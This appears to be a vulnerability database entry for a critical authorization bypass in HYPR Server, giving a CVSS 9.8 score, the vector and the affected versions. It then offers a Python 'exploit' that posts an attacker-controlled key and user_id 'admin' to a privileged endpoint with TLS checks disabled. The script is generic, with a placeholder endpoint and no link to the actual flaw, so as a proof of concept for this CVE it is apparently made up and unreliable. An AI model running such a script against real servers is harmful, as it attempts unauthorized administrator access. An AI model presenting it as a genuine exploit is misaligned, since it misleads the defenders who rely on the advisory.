Authorization bypass through User-Controlled key vulnerability in HYPR Server allows Privilege Escalation.This issue affects Server: from 9.5.2 before 10.7.2.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
cpe:2.3:a:hypr:hypr:*:*:*:*:*:*:*:* - VULNERABLE
HYPR Server >= 9.5.2
HYPR Server < 10.7.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Placeholder)
target_url = "https://target-hypr-server/api/v1/privileged_endpoint"
# The vulnerability relies on a user-controlled key
# Exploit: Sending a request with a manipulated key to bypass auth
malicious_payload = {
"api_key": "ATTACKER_CONTROLLED_KEY",
"user_id": "admin"
}
headers = {
"User-Agent": "CVE-2026-2414-Exploit",
"Content-Type": "application/json"
}
try:
# Send request without authentication headers
response = requests.post(target_url, json=malicious_payload, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Exploit successful! Authorization bypassed.")
print("[+] Response:", response.text)
else:
print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")